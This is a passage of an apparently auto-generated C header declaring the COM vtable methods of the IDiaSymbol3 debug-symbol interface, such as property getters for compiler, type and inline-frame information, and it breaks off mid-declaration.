STDMETHODCALLTYPE *get_language )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol3 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol3 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol3 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol3 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol3 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol3 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol3 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol3 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol3 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol3 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol3 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol3 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol3 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol3 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( IDiaSymbol3 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( IDiaSymbol3 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ DWORD *pProperties); HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( IDiaSymbol3 * This, /* [in] */ DWORD cnt, /* [out] */ DWORD *pcnt, /* [size_is][out] */ WORD *pModifiers); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( IDiaSymbol3 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( IDiaSymbol3 * This, /* [retval][out] */ BOOL *pRetVal); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( IDiaSymbol3 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( IDiaSymbol3 * This, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( IDiaSymbol3 * This, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( IDiaSymbol3 * This, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( IDiaSymbol3 * This, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers **ppResult); HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( IDiaSymbol3 * This, /* [in] */ DWORD rva, /* [in] */ DWORD length, /* [out] */ IDiaEnumLineNumbers 